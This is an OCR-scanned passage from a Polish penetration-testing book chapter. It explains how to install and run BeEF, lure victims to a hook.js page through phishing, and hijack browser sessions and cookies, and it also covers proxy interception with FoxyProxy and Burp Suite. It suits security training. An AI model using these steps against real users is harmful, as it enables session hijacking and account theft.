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Ataki na aplikacje
Internetowe
I serwery WWW

W tym rozdziale skoncentrujemy sie na atakach przeprowadzanych z wykorzystaniem inter-
netu. Administratorzy odpowiedzialni za bezpieczenstwo srodowiska komputerowego firmy
czy organizacji doskonale zdajg sobie sprawe z tego, ze w internecie nie brakuje czarnych charak-
ter6w, ktore nieustannie szukajg nowych sposobéw przelamywania zabezpieczen. W odpowiedzi
na takie zagrozenia administratorzy starajg sie implementowa¢ coraz bardziej skomplikowane
systemy zabezpieczen. Do najczesciej spotykanych mechanizméw obronnych naleza zapory
sieciowe, systemy wykrywania wlaman i zapobiegania im (IPS/IDS — ang. Intrusion Prevention
System/Intrusion Detection System) czy systemy instalowane bezposrednio na hostach, takie
jak programy antywirusowe lub monitorujace wykorzystanie zasobéw. W przeszlosci takie rozwia-
zania byly w zupehosci wystarczajace, aczkolwiek spotykane obecnie ztosliwe programy i inne
zagrozenia, ktére czyhaja w sieci, stajg sie coraz bardziej wyrafinowane i czesto umozliwiajg
fatwe obejscie mechanizméw zabezpieczajacych oferowanych przez standardowe, komercyj-
ne produkty .,z potki” (COTS — ang. Commercial Off The Shelf). Narzedzia, ktére bedziemy
omawiali w tym rozdziale, pozwalaja pentesterowi na zdalne omijanie standardowych zabez-
pieczen atakowanych systemoéw.

Przedstawiane tu zagadnienia i oprogramowanie stanowia dopelnienie arsenatu technik i na-
rzedzi kazdego pentestera aplikacji internetowych. Z lektury poprzednich rozdzialéw dowie-
dziales sie, w jaki sposb przeprowadza¢ rozpoznanie i gromadzié¢ informacje o $rodowisku
bedacym celem testu penetracyjnego, jak wyszukiwaé podatnosci i luki w zabezpieczeniach
zar6wno po stronie serweréw, jak i klientéw aplikacji internetowych, oraz poznales sposoby
wykorzystywania znalezionych luk do uzyskania nieautoryzowanego dostepu do atakowanego
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systemu. Teraz zajmiemy sie technikami bedacymi niejako uwieniczeniem catego procesu ata-
kowania aplikacji internetowych podczas przeprowadzania testéw penetracyjnych. Dodatko-
wo pokazemy, w jaki sposéb do ataku uzy¢... serwera bedacego celem ataku oraz jak ztamaé
zabezpieczenia aplikacji internetowych w ramach atakéw na przegladarki, atakéw z wykorzy-
staniem serweréw proxy oraz przechwytywania hasel dostepu. Oméwimy réwniez wybrane
metody zakl6cania pracy ustug internetowych za pomoca atakéw typu DoS.

BeEF — Browser Exploitation Framework

Podatnosci i luki w zabezpieczeniach przegladarek mogg by¢ wykorzystywane przez zlosliwe
oprogramowanie do zmiany zachowania przegladarki w okreslonych sytuacjach. Podatno$ci
przegladarek internetowych to bardzo popularny wektor ataku, poniewaz zdecydowana wiek-
sz0$¢ systemow operacyjnych, pod ktérych kontrolg dzialajg klienty aplikacji internetowych,
wyposazona jest w taka czy inng przegladarke. Przyjrzyjmy sie zatem jednemu z najpopular-
niejszych narzedzi przeznaczonych do wykorzystywania luk w zabezpieczeniach przegladarek
internetowych.

Istnieje wiele interesujacych narzedzi wspomagajacych przeprowadzanie testéw penetracyjnych.
Narzedzia te powinny sie znalez¢ w Twoim ,,hakerskim” arsenale. Jednym z nich z pewnoscia jest
program BeEF (ang. Browser Exploitation Framework). BeEF to pakiet zbudowany w oparciu
o przegladarke, ktory ,podpina si¢” do jednej przegladarki lub nawet kilku przegladarek w syste-
mie klienta i tworzy przyczotek, ktéry mozna wykorzystaé¢ jako baze do dalszych atakoéw. Uzyt-
kownik moze zosta¢ ,,zaatakowany”, kiedy odwiedza specjalnie przygotowang strone internetowa,
po czym kontynuuje przegladanie innych witryn, nie zdajac sobie zupelnie sprawy z tego, ze
napastnik ma juz pelny dostep do jego sesji. BeEF potrafi omina¢ zaréwno sieciowe urzadze-
nia zabezpieczajace, jak i mechanizmy ochronne instalowane bezposrednio na hostach, takie
jak systemy antywirusowe. Staje sie to mozliwe dzieki wykorzystywaniu luk w zabezpieczeniach
powszechnie spotykanych przegladarek, takich jak Internet Explorer czy Firefox.

Pakiet BeEF nie jest dotaczany do wersji 1.0 systemu Kali Linux, ale mozesz pobra¢ go ze
strony hitp://beefproject.com/. Mamy jednak nadzieje, ze ze wzgledu na swojg duza popularnosé
w Srodowisku pentesteréw i nie tylko BeEF znajdzie sie w kolejnych wydaniach systemu Kali
Linux.

Aby zainstalowac¢ pakiet BeEE powiniene$ otworzy¢ okno terminala i z poziomu uzytkownika
root wykonaé nastepujgce polecenia:
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apt-get update
apt-get install beef-xss

:~# apt-get updatel]

Polecenie apt-get update moze zapytaé¢ Cie o zgode na aktualizacje lub nadpisanie starszych
wersji niektorych plikow. W wiekszosci przypadkéw powinienes po prostu zaakceptowaé od-
powiedzi domyslne. Po zakoficzeniu procesu aktualizacji mozesz wykonaé drugie polecenie,
apt-get install beef-xss, ktdre rozpocznie instalacje pakietu BeEF:

Kiedy przedstawione wyzej polecenie zakonczy dzialanie, pakiet BeEF bedzie gotowy do uzytku.

Aby uruchomié¢ program BeEE w oknie terminala przejdz do katalogu /usr/share/beef-xss i wpisz
polecenie ./beef, co spowoduje uruchomienie serwera pakietu. Gdy serwer zostanie uru-
chomiony, na ekranie wySwietlg sie adresy URL pozwalajace na zarzadzanie pakietem i ata-
kowanie uzytkownikéw.

root@kali: /usr/share/beef-xss

File Edit View Search Terminal Help

f-xss# . ef
cket [imapeudoral] listening

running on n
Hook URL: http
L

_ UI UR
running on ne
| Hook URL:
|_ UI URL:

ht

Aby zarzadzaé serwerem pakietu, uruchom przegladarke i w polu adresu wpisz adres URL kon-
czacy sie ciggiem znakéw /ui/panel. Jezeli chcesz przechwycié sesje ofiary za pomoca pakietu
BeEE powinienes przekierowac ja na adres URL serwera, koniczacy sie ciagiem znakéw hook.js.
Aby to zrobié, bedziesz musial opracowaé¢ odpowiedniy strategie postepowania, ktéra pozwoli
Ci przekona¢ potencjalne ofiary do odwiedzenia takiego adresu. Mozesz do tego celu wyko-
rzysta¢ rézne techniki, takie jak phishing czy ataki socjotechniczne.
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W naszym przypadku panel zarzadzania pakietu jest dostepny pod adresem hitp://172.16.86.144:
3000/ui/panel. Domy$lna nazwa uzytkownika i hasto dostepu brzmig identycznie: beef.

Authentication

Username:

Password:

Login

Kiedy ofiara ataku wejdzie lub zostanie przekierowana na strone hook.js, napastnik zobaczy
na panelu zarzadzania serwera BeEF informacje o nowej przegladarce. BeEF doda nowy system
do listy potencjalnych celéw i bedzie wyswietlal go za kazdym razem, kiedy ofiara ataku po-
jawi sie w sieci. Przegladarki ofiar, ktére w danej chwili sa odtaczone od internetu, beda po-
datne na atak, kiedy znowu podlacza sie do sieci, niezaleznie od tego, czy ponownie odwiedza
wezesniej strone hook.js. Na kolejnym rysunku przedstawiono wyglad gléwnego okna panelu
zarzadzania serwera BeEF z widocznymi opcjami ataku na przechwycony system.

M # BefF Cantral Pane!

& 10.255.21 203000/ ui‘pane

@~

Fosked Browsers
423 Orne Bruwsers
253102852720
@ Myo7eoe--
Ju|‘|n=sr:cﬂ Wiy Usa as ooy

Sorlby: doman  cxiemalp

1025527 203000 uidpanel=

B4 Launch XasRays i Hocked Domsn

:«]"'lhcmbu |.‘¢vmu—.’:umu
S| [Qseewee @ eysse-
Logs 107.28198
Logs | Commands | Aecuester | ¥aRars
Hodule Results History Commendiremits

Ma dee nbel

0 21212121000 command1

Resisca KAEFs (HTTFS)
Create At Daiog

Resrect B

Reglace Viteos
@ Get Visked URLs
o Chrome Extensors (4)
1Detug 2)
I Expists (5)

(g Host (8)

Gat Syateminte
Hock Defaut Brawser
s Sty O3 (Skype)
Makz Siype Cal (7).
Gl Gacicason
# Get Cpbarg
# Gat Protocei Handirs
# Gt Regiry Keys
SIREC )
Jietascict (0
CiMse)
Jhtmere 7)
Jpersistence (3)
Reuter (3
Rt execite command

€ Rasdy

|WMKnlnhm:MsHldlle,mMIn:.. |+ &

JEE

Google 2 & B-

Logeut
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Widoczny na poprzednim rysunku host, ktérego przegladarka zostata przechwycona, to lap-
top pracujacy pod kontrolg systemu Windows. BeEF potrafi odkryé bardzo wiele szczegotow
na temat przechwyconego systemu, na przyklad to, czy ofiara uzywa przegladarki Firefox, czy
host pracuje pod kontrolg 32-, czy 64-bitowego systemu operacyjnego, jakie dodatkowe
wtyczki zostaly zainstalowane w przegladarce, czy obstuga skryptéw i apletow Java jest wly-
czona itp. Na skompromitowanych systemach napastnik moze zdalnie wykonywa¢ rézne po-
lecenia, wlaczaé¢ sygnal dzwiekowy, przechwytywaé ciasteczka sesji, tworzyé zrzuty ekranu,
przechwytywaé wszystkie znaki wpisywane z klawiatury, a nawet wykorzystywaé przechwy-
cona przegladarke jako serwer proxy do atakowania innych systeméw. Przyktadem zastoso-
wania pakietu moze by¢ sytuacja, w ktérej uzytkownik skompromitowanego systemu loguje
sie do serwisu takiego jak Facebook. Napastnik dzieki pakietowi BeEF moze przechwycié¢
ciasteczko takiej sesji, a nastepnie uzy¢ go w swojej przegladarce do przechwycenia sesji
uzytkownika i uzyskania dzieki temu pelnego dostepu do konta Facebook ofiary. Nietrudno
sobie wyobrazi¢, ze w takiej sytuacji zlosliwe i destrukcyjne mozliwosci napastnika sg prak-
tycznie nieograniczone. Raz uchwycony przyczotek daje nieograniczony dostep do przegla-
darki ofiary i jej sesji.

BeEF dostarcza napastnikowi szczegtowych informacji na temat zaatakowanego systemu i loguje
wszystkie wykonywane w nim polecenia. Informacje o zaatakowanym systemie oraz dziennik
wykonanych polecefi moga by¢ bez problemu skopiowane i wklejone do raportu koficowego.

Details Logs Commancds Ficler XssRays Ipec
Type Event
Event 0.003s - [Focus] Browser has regained focus.
Event 37692 - [Blur] Browser has lost focus.
Zombie 127.0.0.1 just joined the horde from the domain: 127 .0.0.1:3000

Hooked Browsers
4 ) Onling Browsers
41127001 Details Logs Commands Rider XssRays Ipec

Getting Started Logs Current Browser

7 8 8157002

=@ Category: Browser [13 ltems)
__|Offline Browsers

Browser Name: UMNEMNOW

Browser Version: UMNEMNOWEH

Browser UA Swing: Mozila/s.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefo/21.0
k Browser Flugins: Gnome Shell Integration

Window Size: Width: 994, Height: 510

Java Enabled: Mo

VBScript Enabled: Mo

Has Flash: Yes

Has GoogleGears: o

Has WebSockets: Yes

Has ActiveXr: o

Session Cookies: Yes

Persistent Cookies: Yes

@ Category: Hooked Page (5 ltems)
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Obrona przed atakami dokonywanymi z uzyciem narzedzi penetracyjnych opartych na prze-
gladarkach jest bardzo trudna. Najlepszym rozwigzaniem jest oczywiscie zadbanie o to, aby zaw-
sze korzysta¢ z najnowszej wersji przegladarki z zainstalowanymi najnowszymi pakietami aktuali-
zacji oraz z wylgczong mozliwo$cig uruchamiania apletéw Java czy animacji Flash. Oprécz
tego dodatkowa warstwe zabezpieczen moga zapewni¢ rozwigzania pozwalajace na wykrywanie
najczesciej spotykanych zagrozen, takie jak system NGIPS (ang. Next Generation Intrusion
Prevention System). Znaczaca wickszo$é ofiar atakéw przeprowadzonych z wykorzystaniem
narzedzi takich jak BeEF stanowig uzytkownicy, ktérzy klikneli specjalnie przygotowane lacze,
zamieszczone w wiadomosci poczty elektronicznej lub udostepnione w popularnych serwi-
sach spoteczno$ciowych przez napastnika podajacego sie za kogo$ innego, godnego zaufania.

FoxyProxy — wtyczka przegladarki Firefox

Jezeli masz przegladarke Firefox i chcesz uzywaé serweréw proxy, takich jak ZAP — Zed At-
tack Proxy czy BURP do testowania aplikacji internetowych, to mozesz skorzysta¢ z wtyczki
FoxyProxy, ktéra znakomicie upraszcza proces przelaczania oraz wlaczania i wylaczania po-
szczegOlnych serweréw proxy. Inaczej méwige, FoxyProxy to wtyczka przegladarki Firefox,
pozwalajaca na tatwe zarzadzanie serwerami proxy, modyfikacje ich ustawiefi oraz ich wta-
czanie i wylagczanie. Wtyczke FoxyProxy mozesz pobraé z sieciowego repozytorium rozsze-
rzeh programy Firefox.

Gdy zainstalujesz wtyczke, na pasku narzedzi, w gérnej czesci gtéwnego okna przegladarki,
pojawi sie ikona FoxyProxy. Kiedy ja klikniesz lewym przyciskiem myszy, wyswietli sie okno
opcji i ustawien wtyczki.

¢ @/ (8- co
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800 FoxyProxy Standard

Select Mode: | Completely disable FoxyProxy 2|

Proxy Subscriptions | | Pattern Subscriptions (&) Global Settings o QuickAdd | # AutoAdd | = Logging |
Enabled Color Proxy Name Proxy Notes le2 43, Move Up
W _ Default These are the settings that are used...
@ Move Down
I__Ej_i\dd New Proxy |

B? Edit Selection
B Copy Selection

Bl Delete Selection

Close

| @ Please Donate | | ﬁécel FoxyProxy Plus | | @ Buy Proxy Service | | FoxyProxy for Chrome

Aby dodaé¢ nowy serwer proxy do wtyczki FoxyProxy, powinienes wykona¢ polecenia przed-
stawione ponizej:

1. Kliknij przycisk Add New Proxy. Na ekranie pojawi sie nowe okno dialogowe.

2. Wybierz opcje Manual Proxy Configuration.

3. Wpisz adres IP lub nazwe serwera proxy oraz podaj numer jego portu
komunikacyjnego.

4. Kliknij przycisk OK, aby zapisa¢ ustawienia nowego serwera.

@ Manual Proxy Configuration
Help! Where are settings for HTTP, S5L, FTP, Gopher, and SOCKS?

. 1
Host or IP Address | 127.0.0.1 Port  BOBO

() SOCKS proxy? (_|SOCKS v4/4a (*)SOCKS v5

W tym momencie wtyczka FoxyProxy jest jeszcze wylaczona, co oznacza, ze caly ruch sieciowy
generowany przez przegladarke odbywa sie bez posrednictwa serwera proxy (w polu Select
Mode jest ustawiona opcja Completely disable FoxyProxy). Aby uzy¢ wybranego serwera proxy,
rozwin liste Select Mode i wybierz z niej zadang opcje. Jak wida¢, dzieki takiemu rozwigzaniu
mozesz szybko przelaczaé przegladarke na rézne serwery proxy lub calkowicie wylaczyé
mozliwosé korzystania z serwera proxy.

800 FoxyProxy Stand

Select Mode: | Completely disable FoxyProxy 3|

Use proxies based on their pre-defined patterns and priorities
e Use proxy "127.0.0.1:8080" for all URLs

Use proxy "Default” for all URLs

Enabled
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BURP Proxy

BURP Proxy to narzedzie, ktére przechwytuje ruch HTTP oraz HTTPS, co pozwala pentesterowi
na badanie funkcjonowania aplikacji internetowych, wyszukiwanie luk w ich zabezpieczeniach
oraz analizowanie ruchu sieciowego, generowanego miedzy serwerem aplikacji a klientem.
Pakiet BURP Proxy cieszy sie ogromng popularnoscig nie tylko ze wzgledu na zdolno$é prze-
prowadzania analizy ruchu sieciowego, ale réwniez, a moze przede wszystkim ze wzgledu na
mozliwo$é modyfikacji i retransmitowania przesylanych zadan ,w locie”. Za chwile wyjasnimy, jak
wykorzysta¢ pakiet BURP Proxy do modyfikowania zadan i wykradania danych uwierzytel-
niajacych uzytkownikéw.

Pamietaj, ze BURP Proxy to narzedzie wchodzace w sktad rozbudowanego pakietu narzedzi
o nazwie Burp Suite. Kiedy uzytkownik wpisuje na pasku adresu swojej przegladarki wybrany
adres URL, taki jak na przyklad hitp://www. DrChaos.com, oczekuje, ze zostanie przeniesiony
na taka strone. Serwer proxy przechwytuje takie zgdanie i przesyla je do serwera niejako
,w imieniu” danego klienta. Serwery proxy sg zazwyczaj wykorzystywane do monitorowania ge-
nerowanego ruchu sieciowego oraz ochrony klientéw przed potencjalnie szkodliwymi danymi
(np. witrynami ze ztosliwym oprogramowaniem czy witrynami zainfekowanymi). Jako pente-
ster mozesz wykorzystywaé serwery proxy do przechwytywania ruchu sieciowego wysylanego
przez klienta, a nastepnie kopiowania, modyfikowania i retransmitowania jego zadan:

Ktora jest

Zapytaj Roberta, ktora
teraz godzina?

jest teraz godzina
/—"'"_._‘_'_"‘--.‘ __',.——"'_'_.__‘_'_"‘--‘
— @ ——
Alicja Proxy Robert
*-—__ -

Robert mowi,

ze jest 19:00 Jest 19:00

Aby w systemie Kali Linux uruchomi¢ program BURP Suite, w menu gléwnym przejdz do grupy
Kali Linux, a nastepnie wybierz polecenie Sniffing/Spoofing/Web Sniffers/burpsuite.

Na ekranie pojawi sie gléwne okno pakietu Burp Suite.
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Burp Suite Free Edition v1.5 - | g

Burp Intruder Repeater Window Help

Target | Proxy T Spider I Scanner T Intruder I Repeater I Sequencer I Decodar T Cornparer T Options T Alerts |
J Site map | Scope |

‘ Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders 2

Host | Methad | URL | Params | Sta.. & | Length | MIME type | Title | Comment
< J |
Request | Response 1
Raw  Hex
A
r
9
v
L2 =)Lt ] 2] veessearchtem 0 matches

Aby skonfigurowa¢ serwer proxy, przejdz na karte Proxy. Jak tatwo zauwazy¢, opcja przechwyty-
wania ruchu sieciowego jest domySlnie wlaczona (Intercept is on). Kiedy jest wigczona, BURP
Proxy zatrzymuje wszystkie Zadania wysylane z przegladarki klienta do serwera WWW, dzieki
czemu pentester ma mozliwo$é pelnej analizy takiego potaczenia. Po zakorniczeniu przeglada-
nia pentester moze recznie zezwoli¢ na kontynuowanie polaczenia.

Opcje /ntercept musisz wytaczy¢ recznie, w przeciwnym wypadku wszystkie zadania wysytane przez
klienta beda przechwytywane i zatrzymywane na poziomie BURP Proxy.

Kolejne opcje konfiguracyjne, na ktére musisz zwrécié uwage, sa umieszczone na karcie
Options. Znajdziesz tutaj opcje pozwalajace na sprawdzenie lub zmiane domyslnego portu
komunikacyjnego, wykorzystywanego przez BURP Proxy, czy skonfigurowanie interfejsu sie-
ciowego, wykorzystywanego przez pakiet. Domyslnie serwer BURP Proxy jest skonfigurowa-
ny do pracy na interfejsie petli zwrotnej, jak przedstawiono na rysunku zamieszczonym ponizej.
Interfejs petli zwrotnej to specjalny rodzaj interfejsu sieciowego, reprezentujacy komputer lokal-
ny, do ktérego przypisany jest zazwyczaj adres IP 127.0.0.1. Interfejs petli zwrotnej nie jest
powigzany z zadnym urzadzeniem fizycznym i jest stosowany po to, aby korzystajac z pola-
czenia sieciowego, system operacyjny Twojego komputera mogt sie komunikowaé sam ze so-
ba. Inaczej moéwiac, jezeli chcesz poprzez sie¢ wysyta¢ do siebie wiadomosci, powiniene§
uzy¢ interfejsu petli zwrotne;j. Jezeli cheesz wykorzystywaé pakiet Burp Suite do pracy z innymi
komputerami, powiniene$ w konfiguracji pakietu dodaé¢ odpowiedni interfejs Ethernet oraz
podaé jego adres IP.
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W naszym przykladzie bedziemy uzywadé interfejsu petli zwrotne;j:

Irmter:epﬂ History ]' Options |

(2] Proxyl isteners

)] Burp Proxy uses listeners to receive incoming HTTP requests from your browser. Vou will need to configure your

l Add J Running Interface Invisible Redirect | Certificate
] 127.0.0.1:8080 o Per-hest
l Edit
| Remove | >

Kolejnym etapem bedzie skonfigurowanie przegladarki do pracy z pakietem Burp Suite.
Praktycznie wszystkie przegladarki mozna skonfigurowaé w niemal identyczny lub przynajm-
niej bardzo zblizony sposéb. Na kolejnym rysunku przedstawiamy konfiguracje serwera proxy
w przegladarce Firefox.

Connection Settings
Configure Proxies to Access the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings
* Manual proxy configuration:

HTTP Proxy: |127.001 Port: 080 _

Use this proxy server for all protocols

S5L Proxy: | Port o
ETP Proxy: Port: oF
SOCKS Host: | Port: ol

S0OCKS vd ® SOCKSvS
Mo Proxy for:

localhost, 127.0.0.1

Example: .mozillaorg, .net.nz, 192.168.1.0/24

Automatic proxy configuration URL:

Help Cancel OK

Gdy zakonczysz konfiguracje serwera proxy w przegladarce, przejdz na dowolng strone WWW,
na przyktad wpisujac zadany adres URL w pasku przegladarki (na przyktad www.DrChaos . com).
7 pewnoScig zauwazysz, ze nic sie nie wydarzylo. Dzieje sie tak, poniewaz opcja Intercept,
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jak pamietasz, jest domy§lnie wlaczona. Jezeli przyjrzysz sie teraz karcie Intercept, to przeko-
nasz sie, ze zmienit sie jej kolor tla, co oznacza, ze przechwycone zostalo nowe zadanie.

Kiedy klikniesz karte Intercept, bedziesz moglt dokladnie zbada¢ nature przechwyconego za-
dania. Po zakoficzeniu mozesz klikna¢ przycisk Forward lub Drop, co spowoduje odpowied-
nio przestanie dalej lub zablokowanie przechwyconego zadania.

[ TargetT ] Spider 1 Scanner [ Intruder T Repeater 1 SequencﬂI Decoder i Comparer I Options ] Alerts |

_[ t ] History F Options ]

Request to httpilvwew drchaos.comec80 [50.87.145.132]

| Forward i | Drop | | Intercept is on Action |

Raw | Params 1 Headers II]

GET / HTTP/1.1

Hest: www.drchaos.com

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecke/20100101 Firefox/18.0 Iceweaself18.0.1
Bccept: text/html,application/xhtml+xml.application/xml;g=0.9 */*;q=0.8

piccept-Language: en-US,en;g=0.5

Bccept-Encoding: gzip, deflate

Cookie: __Ggca=P0-886080433-1368803092505; _ atuvc=3%7C20

Connection: keep-alive

Jezeli Klikniesz przycisk Forward, zobaczysz, ze przechwycone zadanie zostaje przekazane dalej,
do serwera WWW, a serwer odsyta odpowiedz. Co wiecej, powiniene$ réwniez zobaczy¢, ze
strona WWW zostata zaladowana w oknie przegladarki. Pamietaj jednak, ze niektére strony
WWW skladaja sie z wielu komponentéw i ich zatadowanie bedzie wymagato recznego prze-
kazania wielu zadan (czyli bedziesz musial wiele razy klikaé przycisk Forward).

Kolejna ciekawa i uzyteczna funkeja pakietu jest Burp Spider, czyli robot sieciowy pozwala-
jacy na zautomatyzowanie procesu wykrywania i mapowania aplikacji internetowych. Zanim
bedziesz mogl z niego skorzysta¢, musisz najpierw skonfigurowaé serwer BURP Proxy do
pracy z internetem, tak jak to pokazywalismy wczesniej. Nastepnie wlacz modul Burp Spider,
ktéry moze automatycznie mapowaé wszystkie przechwycone zadania i wyszukiwaé¢ nowe,
potencjalne cele ataku.

Aby uzy¢ modutu Burp Spider, przejdz na karte Spider, gdzie zobaczysz domyslne ustawienia
konfiguracyjne robota sieciowego. Aby wlaczy¢ robota, kliknij przycisk Spider is paused, co
uruchomi robota i zmieni nazwe przycisku na Spider is running (zobacz pierwszy rysunek na
nastepnej stronie).

Burp Spider mapuje wszystkie zadania przechwycone przez serwer proxy i wySwietla je na karcie
Target. Aby zobaczy¢, co zostalo do tej pory przechwycone, przejdz na karte Target. Znajdziesz
tam liste wszystkich przechwyconych przez proxy witryn, z ktérymi taczy sie wybrana przez
Ciebie witryna podczas ladowania. Adresy URL wy$wietlone w szarym kolorze oznaczajg witryny,
ktorych nie przegladales bezposrednio. Adresy URL wyr6znione czarnym kolorem oznaczaja
witryny, ktére odwiedzite§ bezposrednio (zobacz drugi rysunek na nastepnej stronie).
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Burp_intruder_Repeater_Window Help
[Targer T Jispiden | scanner [ inwuder | mepeater | sequencer | Decoder | Comparer | Options [ wlerts |

oo o

@ Spider Status

Use these settings to manitor and control Burp Spider. To begin spidering, browse 1o the target application, then right-click one or more nodes in the target site map, and
choose “Spider this host | branch”.

| Swider is paused | | Clear queues |

Requests made: O
Bytes ransferred: 0
Requests queued: 0
Forms queved. 0

@ Spider Scope
(o] & Use sulte scope [defined in Target tab]
0 Use custom scope

E IW]MTMTWIMWIMMICWHTW;IM]

Filter: Hiding not found items; hiding C55, image and general binary content: hiding 4xx responses; hiding empty folders (
» B https:/ /apis.google.com Host | Method | URL | Params | Status & | Length | MIMEtype | Title
> hitp ctLaddthis.com it . GET 7 U 200 76990 WL Or.Chaos |
® http:/ fdelicious com hitp://www.drchaos.c.. GET fabout-me/ a8 200 43716 HTML About Me &
> http://digg.com http:/ jwww.drchaos CET [favicon.ico o 200 242
|» hitp:/ fedge http:f jwww.drchaos.c.. GET fwp-includes (js fcom... @ 200 1040 script
> hitp://edge.quantserve.com hitp:/ fwww.drchaos GET fwp-content/plugins/.. @ 304 137 script
® hitp:/ /feedburner google.com http:/ jwww.drchaos.c.. GET [wp-content/themes /.. a8 304 137
> hrtp://feeds. feedburner.com hitp:/ www.drchaos.c.. GET fwp-content/themes/.. ] 304 137
» hnp/ ffriendfeed.com http:/ jwww.drchaos.c.. GET fwp-content/themes /... ] 304 137
: http:/ fgetfoxyproxy.org http:/ jwww.drchaos [wp-content/themes/.. [ 304 137

hitp:/ /gmpg.org hitp./ /www.drchaos fwp-content/themes/..  [J] 304 137
> hutp://htmiSshiv.googlecode.com hetp:/ fwww drchaos [wp-content/themes/.. [ 304 137
[* hitp:/ fm.addthis.com " =
- P':!B'Hnlalfom.mm«.:om =k — Z s
> B hetps;// plus google.com r—
* hup:/ /s.gravatar com -
» hitp:/ [30.mp.com
* hitp:/ /57 addthis.com K"m I Handers, I Hex, l
> B hetps:/ /secure GET / HTTP/1.1
® hup:/ /secure hostgator.com Host: www.drchaos.com
» hrtp:/ /static.ak fbedn.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:2l.0)
» hrtp://stats wordpress.com FGackm’in 100101 Firefox/21.0
» hitp:/{themes.goagleusercontentcom {Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,%/*;q=0.8
' hitp:/ ftwdtter.com Rccept-Language: en- Us.ewq-o 5
. s Rccept-Encoding: geip, deflat

! Cookie: at.wc:ni\‘l’C}l\:C1‘1(‘25‘2(1!1@26, —gca=P0-2062698058-13T70845566215
.‘ - Connection: keep-alive

o Cache-Control: max-ages=0
hittp:/ fwww facebook com

http:/ Jwww.reddit.com
hitp:/ jwww stumbleupon.com
http:/ fwwww3.org

Aby skorzystaé¢ z robota sieciowego, kliknij wybrany adres URL prawym przyciskiem myszy
i z menu podrecznego wybierz polecenie Spider this host.

L ol TONNECTION: REE
http:/ fwew.drehaos.com I ; il S
® hitp:f fww.facebookcom htp:/ fwww.drchaos.com/f
* http:f fweereddit.com Add to scope
* http: stumbl 1
pf v stumblewpon.com Spider this host

¥ htip:f fwwawewidorg
Actively scan this host

Passively scan this host

Engagement tools [Fro version only] »
‘Compare site maps

Expand branch

Expand requested items

Delete host

Copy URLs in this host

Copy links In this host

Save selected items

Site map help
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Jezeli teraz przejdziesz na karte Spider, to przekonasz sie, ze liczby przetworzonych zadan
w sekcji Spider Status rosng od 0 w gére.

2 Spider Status
2 -

Requests made:

Forms queued:

Use these settings to monitor and control Burp Spider. To begin spidering, browse to the target application, then right-click one or more nodes in the target site map, and
choose “Spider this host [ branch®.

[ Spider is running ] Clear queues |
827

Bytes transferred: 23,833,252

Requests queued: 3,237

1]

Gdy Burp napotka jakies formularze, poprosi Cie o ich wypelienie lub zignorowanie. Jezeli
wypehisz formularz, Burp sprawdzi kolejne strony, ktére staly sie dostepne po wypetnieniu

formularza.

e no

Burp Spider - Submit Form

Burp Spider needs your guidance to submit a login form. Please choose the value of each form field which should be used when
submitting the form. You can control how Burp handles forms in the Spider options tab.

Action URL: http:f /www.drchaos.com/wp-login.php
Method: POST
Type Name Value |
Checkbox rememberme forever
Hidden testcookie 1
Password pwd |
Submit
Hidden redirect_to wp-admin/
Text log

l Submit form J L lanore farm J

Kiedy Spider zakonczy dzialanie, wr6¢ na karte Targets i poszukaj strony, ktérej adres wybrates
dla robota sieciowego. Kliknij ikone tréjkata, znajdujaca sie z lewej strony adresu; spowoduje
to rozwiniecie listy. Teraz mozesz zobaczy¢ wyniki dzialania modutu Spider na pierwszym ry-
sunku na nastepnej stronie.

Burp wyswietla wszystkie strony i tacza, ktére znalazt Spider. Oprécz tego robot przechwytuje
réwniez gféwny katalog hosta, style stron internetowych, podkatalogi oraz skrypty Java. W kolej-
nym przykladzie prezentujemy szereg katalogéw przechwyconych z witryny www. Drchaos.com.

Burp pozwala réwniez na filtrowanie wynikéw. Aby skorzysta¢ z tej mozliwosci, kliknij pasek
Filter, znajdujacy sie w gornej czeSci okna programu. Na ekranie pojawi sie rozwijane okno,
zawierajace szereg réznych opcji filtrowania (zobacz drugi rysunek na nastepnej stronie).

Kup ksigzke
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» http:/ /www.cloudcentrics.cam

http:/ /www.drchaos.com

@/

» [ 4-reasons-not-to-use-mod_security

» [ 802-1x-as-a-government-standard

» [l 802-1x-challenges-for-the-department-of-
» [ aamir-lakhani-talks-about-byod

» [ about-me

» I about-us

» [ already-in-the-cloud-is-it-too-late-to-secul
» [ asa-scripted-install

» [ author

» [ basic-man-in-the-middle-attack-demo

» [0 beef_intr

» [ breach-identified-next-steps

» [ breaking-wpa2-psk-with-kali

» [0 byo-destruction

» [0 byod-opens-doors-for-employers-employed
» [0 category

» [ cisco-content-security-cx-and-ironport

» [0 cisco-cyber-solutions

» [ cisco-ise-1-0-4-overview

» [ continuousmonitoring

» [ creating-custom-certificate-signing-request
» [0 data-backup-in-2013-tips-for-smb-cloud-s|
» [ defending-against-google-hacking-know-wh
» [ disaster-at-hand-what-does-it-mean

» [0 dissecting-the-meraki-cloud

> ditch-the-moving-parts

» [ ensuring-your-emails-dont-lead-to-a-majos
» [ everyone-is-going-mobile

» [0 feed

» [ foca_intro

» [0 goin-mobile-making-your-site-faster-for-m|
» [ great-reasons-to-adopt-erp-solutions-on-t
» [0 hacking9-magazine-nmap-guide

» [0 how-to-crack-passwords

» [0 how-to-educate-your-employees-about-sod
» [ how-to-hack-and-elevator

» [ implementing-scap-for-the-enterprise-and-
» [ installing-vmware-tools-on-kali-linux

» [0 introduction-to-cloud-marketing

» [ iphone_sms_dump_demo

Burp Inruder Repeater Window Help

Froxy | Spider T_sm:mr T Intruder T-Ktmbcr TStq.ucn:lr T thdﬂ‘ TCUWH:TODUUI” T

Scope
Filter: Hiding not found items; hiding €55, image and general binary conent: hiding 4xx respanses; hiding empty folders | LZJ
(2) [Fiter by request type _ Filter by MINE type Fiter by status code _ Folders %
al ] Showonly in-scope iterns & HTML & Other text B 2xx [success] & Hide empiy folders. ML
1C) ’
[ Shew enly requested items & Seripe [ tmages E 3xx [redirectien] it
(] Show only parameterised requests @ XML & Flash [ 4xx [requesterrar]
& Hide not-found ltems o css O Other hinary & 5ux [server error]
Filter by search term [Pro only] _ Filer by file extension Filter by annotation
O showonly: | aspaspxfipphp (] Show only commented items
B E— T
R
